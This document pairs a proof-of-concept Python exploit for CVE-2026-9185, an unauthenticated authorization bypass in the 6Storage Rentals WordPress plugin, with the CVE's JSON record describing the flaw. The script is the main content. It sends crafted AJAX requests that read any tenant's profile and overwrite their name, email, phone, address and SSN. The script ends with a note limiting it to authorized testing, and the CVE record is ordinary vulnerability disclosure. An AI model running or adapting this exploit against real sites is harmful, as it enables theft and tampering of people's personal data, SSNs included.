CVE-2026-9185

# CVE-2026-9185 PoC - 6Storage Rentals Authorization Bypass # Read user info without authentication import requests target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # PoC 1: Read arbitrary tenant profile information payload_read = { "action": "six_storage_get_user_info", "userId": "1" # Enumerable tenant ID } response = requests.post(target_url, data=payload_read) print("Read Response:", response.text) # PoC 2: Modify arbitrary tenant profile information payload_update = { "action": "six_storage_update_profile", "userId": "1", "name": "Hacked User", "email": "[email protected]", "phone": "1234567890", "address": "Malicious Address", "ssn": "123-45-6789" } response = requests.post(target_url, data=payload_update) print("Update Response:", response.text) # Note: Replace target URL and userId with actual values for testing authorized targets only

{"cve": {"id": "CVE-2026-9185", "sourceIdentifier": "[email protected]", "published": "2026-06-09T05:16:41.213", "lastModified": "2026-06-09T13:33:34.393", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The 6Storage Rentals plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to and including 2.22.0 via the `userId` parameter of the `six_storage_get_user_info` and `six_storage_update_profile` AJAX actions. This is due to the `six_storage_getUserInfo()` and `six_storage_updateProfile()` functions being registered on `wp_ajax_nopriv_*` hooks and accepting a tenant identifier directly from `$_POST['userId']` without performing any ownership verification, session binding, or nonce validation to confirm the requester has a legitimate relationship to the supplied ID. This makes it possible for unauthenticated attackers to read and modify arbitrary tenants' profile data — including name, email address, phone number, physical address, and SSN — by supplying an enumerated `userId` value in a crafted request to either handler."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.20.2/inc/Base/Six_Storage_DashboardController.php#L11", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.20.2/inc/Base/Six_Storage_DashboardController.php#L1931", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.20.2/inc/Base/Six_Storage_DashboardController.php#L1955", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.20.2/inc/Base/Six_Storage_DashboardController.php#L995", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.20.2/inc/Base/Six_Storage_DashboardController.php#L998", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.22.0/inc/Base/Six_Storage_DashboardController.php#L11", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.22.0/inc/Base/Six_Storage_DashboardController.php#L1931", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.22.0/inc/Base/Six_Storage_DashboardController.php#L1955", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.22.0/inc/Base/Six_Storage_DashboardController.php#L995", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/6storage-rentals/tags/2.22.0/inc/Base/Six_Storage_DashboardController.php#L998", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/74fa4240-6f62-4db6-b7e7-56998fc29e42?source=cve", "source": "[email protected]"}]}}